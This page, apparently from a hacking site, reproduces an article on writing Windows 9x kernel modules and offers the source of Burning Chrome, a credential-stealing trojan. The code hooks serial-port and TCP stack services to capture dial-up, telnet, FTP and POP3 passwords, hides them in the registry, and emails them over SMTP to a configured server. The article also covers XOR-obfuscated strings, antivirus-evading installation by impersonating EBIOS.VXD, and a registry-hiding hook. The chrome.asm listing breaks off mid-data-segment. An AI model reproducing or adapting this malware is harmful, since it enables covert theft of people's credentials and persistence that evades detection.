Kernel Windows

 

 Home
Sfat
WinHACK
Hack Win Nt
Ex.de hack
Hack Mail
Mobil
Bombers
IRC
Oferta
Contact Information
Hack Mail
IP'uri
Windows Tricks
Parole NET
Soft
Learn HTML
Exploit IE.5
Hack Carti Credit
Kernel Windows
Port Scan

----------------------[  Attacking Windows 9x with Loadable Kernel Modules  ]


--------[  Solar Eclipse <solareclipse@phreedom.org>  ]


----[  Introduction

This article explains the basics of Windows 9x kernel modules development and
contains the full source of a loadable kernel module (LKM) that performs the
following functions:

1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the raw data from the
   serial port) and extracts dial-up passwords
3) by accessing the TCP stack directly (bypassing the Winsock interface), it
   emails all the collected authentication information to an evil script
   kiddie sitting in a basement full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file size is
   only 7KB

The name of the LKM is Burning Chrome. I wrote it because I had to break into
a computer system owned by a girl called Chrome. Yes, I know it sounds lame.
No, I don't know who William Gibson is. Dude, what is the Matrix?

I assume that you have a basic knowledge of Win32 programming, x86 protected
mode architecture, 32-bit assembly language programming, SoftIce and basic
Internet protocols (telnet/pop3/ftp/smtp).

I will start this article with a short overview of the Windows 9x kernel
design. Then I will describe a template kernel module and will talk about some
of the system services that Windows provides. Finally I will give you the
Burning Chrome source.

----[  Windows 9x Internals

Windows 9x has two separate layers of code: DLL layer and VXD layer.

1) DLL Layer

The DLL layer consists of all system DLLs. It runs as a Ring 3 code. All the
API functions that Windows programs normally call are implemented in the DLL
layer (in KERNEL32.DLL, USER32.DLL, GDI32.DLL and other DLLs). Many of the
DLLs call VXD functions. Some of the API functionality is implemented entirely
in the VXD layer and the DLL functions act only as gates (this is the case
with the registry access functions). Calling DLL functions from the VXD layer
is impossible and this makes most of the Windows API inaccessible to kernel
modules.

I will not discuss the system DLLs any more, because they are not used for
Windows kernel hacking.

2) VXD Layer

The general term VXD stands for Virtual Device Driver, the "x" being a
placeholder for device names. For example, VKD is a Virtual Keyboard Driver,
VDD is a Virtual Display Driver, etc. The VXD layer is the core of the Windows
OS. It is similar to the Linux kernel and the functions it provides, although
it is not nearly as well documented. The VXD code handles memory management,
task switching, low-level hardware access and other similar tasks. The core OS
services, such as registry access, networking and file access are also
implemented in the VXD layer.

All VXDs run in Ring 0 and have full access to the system. Hacking the Windows
kernel is possible by writing an VXD.

The Windows Driver Development Kit (DDK) is used for writing VXDs. Most
programmers shiver when somebody mentions 'device drivers', but but the VXDs
can be used for many other purposes. Let me quote Andrew Schulman, the author
of "Unauthorized Windows95. A Developer's Guide to Exploring the Foundations
of Windows 95":

     "...Seen  from  this  perspective,  the  names  Virtual Device Driver and
     Device  Driver  Kit  are  unfortunate.  They  automatically turn off most
     Windows developers, who quite sensibly feel that device-driver writing is
     an  area  they  would rather stay away from. More appropriate names would
     have been "TSRs for Windows" or "Please Hack Our Operating System". As it
     is,  the  names VXD and DDK alienate many programmers who would otherwise
     jump at this stuff.

     ...Admittedly,  very  few Windows programmers will be using VXDs to write
     hardware  interrupt  handlers  or  device drivers. But a short time spent
     with  the  DDK  should  convince  you  that  there's  a ton of documented
     functionality available to VXDs that is otherwise difficult or impossible
     to  get  under  Windows.  Whenever  a  programmer  says that something is
     "impossible"  in  Windows,  I  suspect  the  correct reply will be "No it
     isn't.  Write  a  VXD"  Just  as  TSRs  allowed DOS programmers to do the
     otherwise-impossible  in  the  1980s,  VXDs  are  going  to  let  Windows
     programmers go anywhere and do anything in what's left of the 1990s."

Unfortunately (or maybe fortunately) writing VXDs for Windows has not become
as common as writing TSRs for DOS was. The possibilities that the Virtual
Device Drivers offer are big, but writing one is not an easy task.

----[  Your First VXD

VXDs are usually written with the Windows98 DDK, which includes a copy of the
Microsoft Macro Assembler (MASM). It is possible to use C for VXD development,
but using assembly is definitely more fun. Other tools, such as NuMega
DriverWorks make the programmer's job easier, but for this example I will use
only the Win98 DDK. The DDK is available for free download on Microsoft's web
site. Even if they take it down, you will be able to find it on some old copy
of the MSDN or on the net.

Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even the Windows
3.11 DDK will also be nice. Many interesting VXD features are poorly
documented or not documented at all. Although the Windows 98 DDK will be your
primary source of information, sometimes you will find the information you
need in some of the other kits. The Windows 3.11 DDK is useful, because there
are a lots of similarities in the internal architecture of Windows 3.11 and
Windows 95. (Contrary to the Microsoft hype, Windows 3.11 was closer to
Windows 95 than to Windows 3.1. Basically the only major change between 3.11
and 95 was the GUI)

The VXDs are LE executables. You need a special linker to link them (included
in the DDK).

The following source is a template for a very basic VXD. It's just an example
for a module that can be successfully loaded by the system.

<++> example.asm

  ; EXAMPLE.ASM

  ; VXDs use 386 protected mode

  .386p

  ; Many system VXDs export services, just like the system DLLs in Windows.
  ; We can use these services for memory allocations, registry and file
  ; access, etc.
  ; All we need to do is include the appropriate include file. There are
  ; many INC files for the system VXDs that come with the DDK.
  ; VMM.INC is the only required include file. It contains the declarations
  ; for many important services exported by VMM32.VXD, as well as many
  ; macros that are used for VXD programming.

  INCLUDE VMM.INC
  ; All VXDs need a Driver Declaration Block (DDB), that stores information
  ; about its name, version, control procedure, device ID, init order, etc.
  ; To build this DDB use the Declare_Virtual_Device macro with the following
  ; parameters:
  ;   - VXD name (needs not be the same as the file name)
  ;   - Major version
  ;   - Minor version
  ;   - Control procedure (similar to WndProc in normal Windows programs. This
  ;     procedure receives all the system messages and processes them
  ;   - Device ID - used only for VXDs that export services. Arbitrary values
  ;     might work as long as they don’t conflict with the official Device IDs
  ;     assigned by Microsoft
  ;   - Init order - 32 bit integer, determines the order in which the VXDs
  ;     are loaded. If you want your VXD to be loaded after some other VXD,
  ;     use a value greater than the other VXD's init order

  Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, \
  Undefined_Init_Order, , ,

  ; This macros declares the data segment

  VxD_DATA_SEG

  SomeData        dd 0    ; Just some data

  VxD_DATA_ENDS

  ; Code segment

  VxD_CODE_SEG

  BeginProc      SomeProcedure

          push eax
          mov eax, 1
          pop eax

          ret

  EndProc        SomeProcedure

  VxD_CODE_ENDS

  ;Locked code segment - will be explained later

  VxD_LOCKED_CODE_SEG

  ; This is the control procedure. It should use Control_Dispatch macros for
  ; handling the messages. This macro takes 2 parameters - message_code and
  ; handler address. You can find a list of all the messages in the DDK
  ; documentation.
  ; This example only handles the Device_Init message and calls the
  ; Do_Device_Init function.

  BeginProc       Control_Proc
          Control_Dispatch Device_Init, Do_Device_Init
          clc
          ret
  EndProc         Control_Proc

  VxD_LOCKED_CODE_ENDS

  ; Init code segment

  VxD_ICODE_SEG

  ; This procedure is called after the VXD is loaded. Put the initialization
  ; code in it.

  BeginProc       Do_Device_Init

  ; Put some init code here...

          ret
  EndProc         Do_Device_Init

  VxD_ICODE_ENDS

  ; End of EXAMPLE.ASM

          END

<-->

    There are 7 different types of segments that your VXD can use.

  1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data

  2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments contain
     non-pageable code and data. Control_Proc and the interrupt handlers
     should be in VxD_LOCED_CODE_SEG. I am not quite sure about the
     rest of the code. The Windows DDK documentation is not very clear about
     that. If your VXD is small, you might want to use only non-pageable
     memory, just to be safe.

  3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data. These
     segments are discarded after the initialization is finished. This is a
     good place for the Do_Device_Init procedure.

  4) VxD_REAL_INIT_SEG - The code in this segment is executed by Windows
     before the processor switches to protected mode. Unless you are writing a
     REAL device driver, it's pretty much useless.

To compile the example VXD you will also need a .DEF file. This is
EXAMPLE.DEF:

<++> example.def

 LIBRARY  EXAMPLE

 DESCRIPTION 'VxD Example by Solar Eclipse'

 EXETYPE  DEV386

 SEGMENTS
        _LTEXT PRELOAD NONDISCARDABLE
        _LDATA PRELOAD NONDISCARDABLE
        _ITEXT CLASS 'ICODE' DISCARDABLE
        _IDATA CLASS 'ICODE' DISCARDABLE
        _TEXT  CLASS 'PCODE' NONDISCARDABLE
        _DATA  CLASS 'PCODE' NONDISCARDABLE

 EXPORTS
        EXAMPLE_DDB  @1

<--> example.def

If your DDK is set up correctly, and all the shell variables are initialized
(read the DDK docs for that), you should be able to compile EXAMPLE.VXD with
the following commands (no Makefile, sorry):

You can compile a DEBUG version with this:

    set ML=-coff -DBLD_COFF  -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -
DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl
    ml example.asm

NO_DEBUG version:

    set ML=-coff -DBLD_COFF  -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -
DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl
    ml example.asm

Then link it:

    link example.obj /vxd /def:example.def

Put the file EXAMPLE.VXD in C:\WINDOWS\SYSTEM and add the following to the
[386Enh] section of SYSTEM.INI

    device=example.vxd

After the system is rebooted, the VXD will be loaded. Of course it won't do
much, but you can see it in the VXD list with SoftIce.

----[  Burning Chrome

The VXDs allow you to access most of the core Windows services directly and
this gives you some interesting possibilities. Let's explore the features
implemented in CHROME.ASM.

I. Capturing dial-up passwords

Almost all dial-up connections are initiated through a modem attached to a
serial port, using the PPP protocol. The two most common ways of
authentication are via PAP (Password Authentication Protocol) or via a login
prompt. To get these passwords we need to capture the traffic passing through
the serial port.

The Hook_Device_Service system call allows us to hook the services exported by
the VXDs. VCOMM.VXD exports three services that we need to hook. These are
VCOMM_OpenComm, VCOMM_WriteComm and VCOMM_CloseComm. The following code
hooks the services:

        ; Hook VCOMM services

        GetVxDServiceOrdinal eax, _VCOMM_OpenComm
        mov esi, offset32 OpenComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        GetVxDServiceOrdinal eax, _VCOMM_WriteComm
        mov esi, offset32 WriteComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        GetVxDServiceOrdinal eax, _VCOMM_CloseComm
        mov esi, offset32 CloseComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of the new
service handlers.

One of the OpenComm parameters is the name of the device being opened. When a
dial-up connection is established, Windows opens COM1, COM2, COM3 or COM4 and
sends the AT modem commands. Our OpenComm procedure checks the device name and
sets a flag if it is a COM port. All the subsequent WriteComm calls are
logged, until the connection is closed.

If the flag is set, the WriteComm procedure saves all the data to a buffer.
When the buffer gets full, the data in it is processed and saved to the
registry.

The main goal of the log processing routines is to make sure that no
username/password combination is emailed twice - getting your mailbox flooded
by a misbehaving trojan horse is not good. This requires the usernames and
the passwords to be saved and each new connection to be checked against the
old sessions. The best place for storing such information is the registry.
Reading and writing to the registry is much easier than storing the data in a
file on the hard disk. The chance of the user noticing a few new entries in
the registry is also very slim.

For each session, four things need to be saved: username, password, phone
number or IP address of the remote end and the log itself. Before the session
is saved, the username, password and the phone number are extracted from the
log and compared to the existing values in the registry. If a session with the
same values exists, the new session is not saved.

CHROME.ASM combines the username, password and phone number into a single
string. Then it saves the session to the registry using this string as the key
name and the log as the key value. The string acts as a hash of the log. When
a new connection is captured, its hash string is generated and the VXD checks
if a key with the same hash exists. It does this by trying to open a key with
the same name as the hash string. If the RegQueryValueEx call fails, the new
connection is saved.

        ; The following code is taken from the Send_Common procedure

        ; ValueName is pointer to the beginning of the hash string.
        ; pBuffer is a pointer to the log
        ; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used
        ; for passing a pointer to a NULL pointer

Get_Reg_Value:
        ; Try to get the value with the same name

        xor ebx, ebx
        mov dwTemp_1, ebx
        push offset32 dwTemp_1          ; cbData
        push ebx                        ; lpszData
        push ebx                        ; fdwType
        push ebx                        ; dwReserved
        push ValueName                  ; lpszValueName
        push hOurKey                    ; phKey

        VMMCall _RegQueryValueEx        ; Get the value of the key
        add esp, 18h

        cmp eax, ERROR_FILE_NOT_FOUND   ; If key exists
        jne Send_Common_Abort

        ; Save the result in the registry

        push BufferSize                 ; cbData
        push pBuffer                    ; lpszData
        push REG_SZ                     ; fdwType
        push 0                          ; dwReserved
        push ValueName                  ; lpszValueName
        push hOurKey                    ; phKey

        VMMCall _RegSetValueEx          ; Set the value of the key
        add esp, 18h

When the user ftp's to a server his connection is logged. If later he decides
to telnet to the same server with the save username and password, the telnet
connection will not be saved, because the hash string will be the same. To
avoid this we will include an connection type identifier in the hash string.
This identifier is a single letter put in the beginning of the hash string:

        TraceLetters            equ $  ; Table with letters for each different
        NOTHING                 db 'N' ; type of trace. Indexed with TraceType
        MODEM                   db 'M'
        TELNET                  db 'T'
        FTP                     db 'F'
        POP3                    db 'P'

The buffer processing functions for the dial-up and the TCP connections are
very similar. They only differ in the way the hash string is extracted from
the log. The common buffer processing is done by the Send_Common function. It
saves the new data in the buffer and checks if it is full. Usually we don't
need to capture more than the first hundred bytes to get the username and
password. If the buffer is full, the log should be processed. The TraceType
variable contains the connection type - modem, telnet, ftp or pop3.
Send_Common calls the appropriate log processing function - in the case of a
dial-up connection it calls ModemLog. The log processing functions extract a
hash string from the buffer and returns it to Send_Common.

ModemLog checks the captured data for an ATD command. If does not find it, an
error flag is set and the data is not saved into the registry. Else the
phone number is extracted and copied as the first part of the hash string.

If the first transferred byte after the phone number is a '~' we are dealing
with a PPP connection. During the PPP connection establishment authentication
information can be exchanged. The most commonly used protocol is called PAP
(Password Authentication Protocol). CHAP (Challenge Authentication Protocol)
is also popular, but it does not send the password in cleartext and therefor
can not be captured by the VXD.

You can find more information on PAP in RFC1172: The Point-to-Point Protocol
Initial Configuration Options. The PPP protocol is described in RFC1331.

The PAP authentication information is transmitted using a PPP packet with a
PAP sub-packet type. The structure of the PAP packet is shown in the
following table:

  | 7E | C0 23 | 01 | xx | xx xx |  ULen  | U S E R |  PLen  | P A S S |
  |    |       |    |    |       |        |         |        |         |
  |PPP |  PAP  |code| id |length |user len|username |pass len|password |

All PAP packets start with 7E C0 23. If the packet is carrying authentication
information the PAP code is 01. We need to scan the captured PPP session for
the 7E C0 23 01 byte sequence and copy the username and the password to hash
string.

If the first character after the phone number is not '~', we are dealing with
a login prompt configuration. Usually the user enters a username, presses
Enter, then enters the password, presses Enter again and the PPP connection is
established. As we already know, the first byte of the PPP handshake sequence
is '~'. If we copy all the data before the '~' to the hash string we'll surely
get the username and the password.

II. Capturing TCP connections

Everybody reading this is probably familiar with the Winsock interface. What
most of you don't know is that most of the Winsock functions are implemented
in the Transport Data Interface (TDI). This is a kernel mode interface for
network access, supporting different network protocols. WINSOCK.DLL is just a
convenient way for the Windows applications to use this interace without
calling the VTDI.VXD services directly.

Among others the TDI interface provides the functions TdiConnect,
TdiDisconnect and TdiSend. They correspond directly to the Winsock functions
connect(), disconnect() and send(). We need to hook these functions and
intercept the data being sent. There is no documented way for hooking these
functions, but it's not impossible. The VTDI_Get_Info system call returns a
pointer to the TdiDispatchTable, which contains pointers to all the TDI
functions. The applications that use TDI are supposed to get the addresses
from this table and call the TDI functions directly. If we get the address of
this table and replace the addresses of the TDI functions with the addresses
of our hooks, all the TDI calls will get routed to us. Our code runs in Ring 0
and we have full access to the memory and can change whatever we want. Of
course we need to save the addresses of the old handlers so that we can call
them later. Sounds just like hooking DOS interrupt handlers, doesn't it?

Here is the code for hooking the TDI functions:

        ; Make sure VTDI is present

        VxDcall VTDI_Get_Version
        jc Abort

        ; Get a pointer to the TCP dispatch table

        push offset32 TCPName
        VxDcall VTDI_Get_Info
        add esp, 4

        mov TdiDispatchTable, eax       ; Save the address of TdiDispatchTable

        ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend

        mov ebx, [eax+0Ch]
        mov TdiCloseConnection_PrevAddr, ebx
        mov [eax+0Ch], offset32 TdiCloseConnection_Hook

        mov ebx, [eax+18h]
        mov TdiConnect_PrevAddr, ebx
        mov [eax+18h], offset32 TdiConnect_Hook

        mov ebx, [eax+1Ch]
        mov TdiDisconnect_PrevAddr, ebx
        mov [eax+1Ch], offset32 TdiDisconnect_Hook

        mov ebx, [eax+2Ch]
        mov TdiSend_PrevAddr, ebx
        mov [eax+2Ch], offset32 TdiSend_Hook

The TDI documentation in the Windows DDK is incomplete and very confusing, but
it's the only available source of information.

TdiConnect is passed a pointer to a RequestAddress structure, which contains a
pointer to a RemoteAddress structure, which contains the IP address and the
port number. After making sure that the RequestAddress is of type IPv4, our
TdiConnect handler checks the destination port number. If it is 21, 23 or 110
we need to capture this connection. We need to set the TraceType flag and save
the connection handle. Unfortunately this connection handle is not returned
directly by the original TdiConnect function. One of its parameters is the
address of a callback function which is to be called after the connection is
established (or when an error occurs). We will save the supplied address of
the callback function and replace it with the address of TdiConnect_Callback
function in the VXD. This function checks the connection status. If the
connection is successfully established, the connection handle is saved. If
not, the TraceType flag is unset. After that the real callback function is
called.

TdiSend is very similar to WriteComm. It checks the connection handle and if
it matches the connection that we are currently tracing TdiSend calls
SendCommon. From there on the process is exactly the same as described above.

If we are tracing a pop3 session, SendCommon calls Pop3Log as a log processing
function. Pop3Log converts the IP address of the server to a hex string and
saves it as the first part of the hash. This makes sure that two accounts with
the same username/password on different servers will not get confused. Then
the log is scanned for the USER and PASS commands. The username and password
are extracted and stored in the hash string.

        mov esi, pBuffer
        mov ecx, BufferSize
        mov ebx, ecx

        mov eax, 'RESU'                 ; Search for USER

USER_or_PASS_Loop:
        cmp dword ptr [esi], eax        ; Search for USER or PASS (in eax)
        je USER_or_PASS_Copy_Loop_Start

        inc esi
        dec ecx
        jz Pop3Log_Abort
        jmp USER_or_PASS_Loop

USER_or_PASS_Copy_Loop_Start:
        add esi, 5                      ; Skip 'USER' and 'PASS'

USER_or_PASS_Copy_Loop:
        cmp byte ptr [esi], 0Dh         ; Is <CR> here?
        jne Copy_USER_or_PASS

        cmp al, 'P'                     ; Is this a PASS copy?
        je Pop3Log_End                  ; Work done, finish log processing

        mov ax, 0A0Dh                   ; Save a <CR> between username & pass
        stosw

        mov eax, 'SSAP'
        jmp USER_or_PASS_Loop

Copy_USER_or_PASS:
        movsb
        dec ecx
        jz Pop3Log_Abort
        jmp USER_or_PASS_Copy_Loop

This code is shown here only as a prove that programming in assembly is
a very brain damaging activity. After spending several years doing assembly
language programming, you'll never programmer the same way as before, even in
a high level language. Whether this is good or bad is a different question.

The FTP protocol is very similar to the POP3 protocol. In fact the
authentication commands (USER & PASS) are exactly the same and FtpLog can
simply call Pop3Log. We don't want to capture all the anonymous ftp
connections and that's why FtpLog checks the username. If it is 'anonymous',
the connection trace is aborted.

All telnet logs are processed by the TelnetLog function. It is a little bit
more complicated because the Telnet client negotiates the terminal options
with the server before it lets the user type his username and password. The
algorithm for the username/password extraction is as follows:

DATA: terminal options | 0 | username | CR | password | CR | more data

1) find the first CR
2] find the second CR
3) save the second CR position
4) search for the 0 (going back from the second CR)
5) stop when 0 is found or the beginning of the buffer is reached
6) copy everything from the current position (starting after the \0 or
   at the beginning of the buffer) to the position of the second CR

While writing this article I went through my code once again and found the
following comment:

        ; If NULL is found, edi points to the byte before it and we need to do
        ; inc edi twice. Else, edi would point to the first char in the buffer
        ; and we don't need to inc it.
        ; That's why we have done 'inc ecx' twice a couple of lines before.
        ; This way, if NULL is not found, edi points to the first-2 char
        ; and we can (and must) do inc edi two times.

        inc edi
        inc edi

This shows that writing code at 3am is not very healthy.

III. Emailing the captured passwords

Sending the captured passwords back to the hacker is very important. The
mailing function needs to be robust, otherwise all the password capturing code
is useless.

The mailing function needs to be called only when an Internet connection is
present. We could use our COM port hook and find out when a PPP connection is
established, but this wouldn't work for machines with Ethernet connections.
The simplest thing do is to make our TdiConnect handler call the Sendmail
function everytime an outgoing connection on port 80 is detected. In this day
and age, everybody uses the Web. A connection to a web server is a clear
indication that an Internet connection is also present. If this is not the
case (the user might be using a local web server or an Intranet without
external connectivity) the Sendmail function will fail connecting and retry
again the next time.

When new data is saved to the registry, a flag is set. The letter 'P' is saved
as the default value of the registry key. This flag is later checked by the
mailing function and the captured passwords are emailed if it is set. After
the email is sent the default value is deleted from the registry. This way an
email is sent only when there is a new password. It is better to send all the
passwords every single time than to send only the new one. This way if one
email is lost, there is still a chance of getting the lost password the next
time.

Sendmail uses TDI to connect to a mail server and send all the captured
passwords and logs. Before a connection is established, a message buffer is
allocated from the heap. This buffer is used for constructing the sequence of
SMTP commands and email data before sending it to the mailserver. First some
SMTP commands are copied to the buffer:

HELO localhost
MAIL FROM:<xxx@xxx.com>
RCPT TO:<xxx@xxx.com>
DATA

Then the email message is constructed. The subject of the message is set to
the RegisteredOwner value from
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion.
The first 3 lines from the message contain RegisteredOrganization, SystemRoot
and VersionNumber - for statistical purposes only.

As you already know, our logs are stored as values in a registry key. The
Sendmail function enumerates these values and copies them to the mail buffer.
The email text is finished with '.' and the QUIT command is put into the
buffer.

Opening a TDI connection and sending the contents of the mail buffer is pain
in the ass. We need to open an address object (TdiOpenAddress), save the
returned address handle, open a connection object (TdiOpenConnection), save
the connection context, associate the connection context with the address
handle (TdiAssociateAddress) and then finally call TdiConnect. Of course the
documentation does not mention any of these steps or the order in which they
have to be performed. Figuring this out with SoftIce is not fun.

Most TDI functions are asynchronous and call the TdiMail_Callback function on
completion. TdiConnect is no exception. TdiMail_Callback checks the error code
and if the connection is established correctly it sends the contents of the
mail buffer. Sending all the commands with one write is not allowed by the
SMTP protocol, but it works with most mail servers. After the sending the
TdiMail_Callback is called again, this time because the send was completed.
The connection is then closed by calling TdiDisconnect and TdiCloseAddress.

The default value of our reg key is deleted, thus unsetting the flag. The next
time Sendmail is called it will not send anything, unless a new password was
captured.

        ; Delete the default value (send is done)

        xor eax, eax
        push eax                        ; cbData
        push offset32 Zero              ; lpszData
        push REG_SZ                     ; fdwType
        push eax                        ; lpSubKey
        push hOurKey

        VMMCall _RegSetValue
        add esp, 14h

IV. Misc

All the ASCII data in CHROME.VXD is XOR-ed with 42. This is not a storing
encryption scheme, but it will fool a less experienced observer.

        mov edi, ASCIIStart
        mov ecx, ASCIILength

Decode_Loop:                            ; Why 42...? :-)
        xor byte ptr [edi], 42
        inc edi
        loop Decode_Loop

The installation process of Burning Chrome is really interesting. The standard
installation approach for VXDs is to copy them to C:\WINDOWS\SYSTEM and add
the appropriate entry in the registry or in the SYSTEM.INI file. Modifying the
registry or INI files can be easily detected and should be avoided.

The core Windows VXDs are compressed into a single file, called VMM32.VXD.
This is not a normal VXD file. When the system loads it during the boot
process, all the files that are contained in it are extracted and loaded as
kernel modules. The file format of the VMM32.VXD is documented and it is
possible to add VXD files to it. Unfortunately, registry entries are still
required for these files and we can not force the system to load our module
without modifying the registry. The C:\WINDOWS\SYSTEM\VMM32 folder has a
special function. Every time a VXD from the VMM32.VXD collection is loaded,
Windows checks if a file with the same name exists in this directory. If it
finds a file with the same name, it is loaded instead of the VXD in
VMM32.VXD.

Suppose that a AAA.VXD is in VMM32.VXD. If we name our VXD AAA.VXD and put it
in C:\WINDOWS\SYSTEM\VMM32, then Windows will load our module instead of
the original VXD.

The only problem is that we need a VXD that is in VMM32.VXD and is loaded by
default, but not necessary needed. The perfect VXD is EBIOS.VXD. EBIOS is a
failed BIOS extention standard by IBM. Most modern computers use
Award/Phoenix/AMI BIOSes and do not support EBIOS. The lack of this VXD will
not be fatal.

All we have to do is name our VXD EBIOS.VXD and copy it to
C:\WINDOWS\SYSTEM\VMM32. We don't need to modify any existing system files.
Most anti-virus programs will alert the user if a program is trying to write
to SYSTEM.INI or modify system files, but they will happily let us copy a
file.

IV. Known Bugs

There are many bugs in this code. If you fix or add something, please send me
a copy :-)

Here is the list of the known bus:

1) Sometimes the Sendmail function fails to send the email. It should be
redesigned to comply to the RFC - send a command, wait for a reply, send the
next command, wait for a reply, etc.

2) Anonymous FTP sessions are logged, although they should not be. I have no
clue why.

3) The TelnetLog function includes some Telnet options in the hash string.

V. Improvements

Here is a list of improvements that can be added to the code. Unfortunately I
have no time to do it. If you modify the code, please send me a copy.

1) Add encryption to the email messages. Even a simple XOR will be better than
sending everything in cleartext.

2) Capture HTTP form submissions and look for webmail passwords/credit card
numbers/etc.

3) Hide the registry key that we use to store our data. The RegEnumKey
function returns the names of the subkeys of a given key. We can hook it and
check the name of the returned key. If it matches the key name that we want to
hide, we'll return an error.

Here is some simple code for doing this:

<++> hidereg.asm

.386p

INCLUDE VMM.INC
INCLUDE VMMREG.INC

Declare_Virtual_Device HIDEREG, 1, 0, Control_Proc, Undefined_Device_ID, \
Undefined_Init_Order, , ,

VxD_LOCKED_DATA_SEG

pRegEnumKey_PrevHook           dd 0

VxD_LOCKED_DATA_ENDS

VxD_LOCKED_CODE_SEG

BeginProc RegEnumKey_Hook, HOOK_PROC, pRegEnumKey_PrevHook, LOCKED

        push ebp                        ; C rulez!
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hKey
; ebp+0Ch -> iSubKey
; ebp+10h -> lpszName
; ebp+14h -> cchName

        pushad
        pushfd

        int 3

        push [ebp+14h]                  ; Push cchName
        push [ebp+10h]                  ; Push lpszName
        push [ebp+0Ch]                  ; Push iSubKey
        push [ebp+08h]                  ; Push hKey
        call [pRegEnumKey_PrevHook]     ; Call the old handler

        add esp, 10h                    ; C really rulez!

        mov [ebp-04h], eax              ; blah...

        mov edi, [ebp+10h]

        cmp dword ptr [edi], 'xzzy'     ; Is this "hidden" key ?
        jne RegEnumKey_Hook_End

        mov dword ptr [ebp-04h], ERROR_NO_MORE_ITEMS ; Dirty, but works

        mov byte ptr [edi], 0

RegEnumKey_Hook_End:
        popfd
        popad

        pop ebp

        ret

EndProc RegEnumKey_Hook


BeginProc       Control_Proc
        Control_Dispatch Device_Init, Do_Device_Init
        clc
        ret
EndProc         Control_Proc

VxD_LOCKED_CODE_ENDS

VxD_ICODE_SEG

BeginProc       Do_Device_Init

        GetVxDServiceOrdinal eax, _RegEnumKey
        mov esi, offset32 RegEnumKey_Hook
        VMMcall Hook_Device_Service

        ret
EndProc         Do_Device_Init

VxD_ICODE_ENDS

; End of HIDEREG.ASM

        END
<-->

----[  Functions List

This is a list of all the functions in CHROME.ASM and what they do. I hope it
helps.

  VCOMM Hooking

OpenComm_Hook           Start modem log
WriteComm_Hook          Log modem data
CloseComm_Hook          End modem log

  TDI Hooking

TdiConnect_Hook         Start TCP log
TdiConnect_Callback     Helper for TdiConnect_Hook
TdiSend_Hook            Log TCP data
TdiDisconnect_Hook      End TCP log
TdiCloseConnection_Hook End TCP log

  General logging

Send_Common             Common code for logs
ModemLog                Processes modem logs
TelnetLog               Processes telnet logs
FtpLog                  Processes ftp logs
Pop3Log                 Processes pop3 logs
DWordToStr              aka IP2HexStr

  Mailing

Sendmail                Sendmail
TdiMail_Callback        Helper for Sendmail
QueryRegValue           Gets registry data

----[  The Source

<++> chrome.asm

;---------------------------------------------------------------------------;
; Burning Chrome version 0.9 by Solar Eclipse <solareclipse@phreedom.org>   ;
;                                                                           ;
; This program is free. Feel free to use it any way you want. If you break  ;
; the law and get caught, don't come whining to me. If you modify the code, ;
; please be a nice guy and send me a copy.                                  ;
; And don't forget to visit the cool guys at http://www.phreedom.org/       ;
;---------------------------------------------------------------------------;

.386p

;---------------------------------------------------------------------------;
; Includes                                                                  ;
;---------------------------------------------------------------------------;

INCLUDE VMM.INC
INCLUDE VCOMM.INC
INCLUDE VMMREG.INC

;INCLUDE DEBUG.INC               ; Temporary

VTDI_Device_ID    equ 0488h

INCLUDE VTDI.INC

;---------------------------------------------------------------------------;
; Some constants                                                            ;
;---------------------------------------------------------------------------;

MAX_BUFFER_LENGTH   equ 1500
MAIL_BUFFER_LENGTH equ 10000

IP_1            equ 192         ; 192.168.0.3:25
IP_2            equ 168
IP_3            equ 0
IP_4            equ 3
PORT            equ 25

CHROME_Init_Order equ 0C000h + VNETBIOS_Init_Order

;---------------------------------------------------------------------------;
; EBIOS_DDB                                                                 ;
;---------------------------------------------------------------------------;

Declare_Virtual_Device EBIOS, 1, 0, Control_Proc, EBIOS_Device_ID, CHROME_Init_Order, , ,

;---------------------------------------------------------------------------;
; Locked Data Segment                                                       ;
;---------------------------------------------------------------------------;

VxD_LOCKED_DATA_SEG

; ASCII data (xored)

ASCIIStart              equ $

OurKey                  db 98,75,88,78,93,75,88,79,118,110,79,89,73,88,67,90,94,67,69,68,118
                        db 121,83,89,94,79,71,118,122,79,88,67,90,66,79,88,75,70,105,69,71,90
                        db 69,68,79,68,94,99,68,94,79,88,73,69,68,68,79,73,94,42
;                          'Hardware\Description\System\PeripheralComponentInterconnect', 0
CurrentVersionSubKey    db 121,69,76,94,93,75,88,79,118,103,67,73,88,69,89,69,76,94,118,125,67
                        db 68,78,69,93,89,118,105,95,88,88,79,68,94,124,79,88,89,67,69,68,42
;                          'Software\Microsoft\Windows\CurrentVersion', 0
sRegisteredOwner        db 120,79,77,67,89,94,79,88,79,78,101,93,68,79,88,42
;                          'RegisteredOwner', 0
sRegisteredOrganization db 120,79,77,67,89,94,79,88,79,78,101,88,77,75,68,67,80,75,94,67,69,68,42
;                          'RegisteredOrganization', 0
sVersionNumber          db 124,79,88,89,67,69,68,100,95,71,72,79,88,42
;                          'VersionNumber', 0
sSystemRoot             db 121,83,89,94,79,71,120,69,69,94,42
;                          'SystemRoot', 0
TCPName                 db 103,121,126,105
Letter_P                db 122
Zero                    db 42
;                          'MSTCP', 0
MailData_1              db 98,111,102,101,10,70,69,73,75,70,66,69,89,94,39,32
;                          'HELO localhost', 13, 10
                        db 103,107,99,102,10,108,120,101,103,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
;                          'MAIL FROM:<xxx@xxx.com>', 13, 10
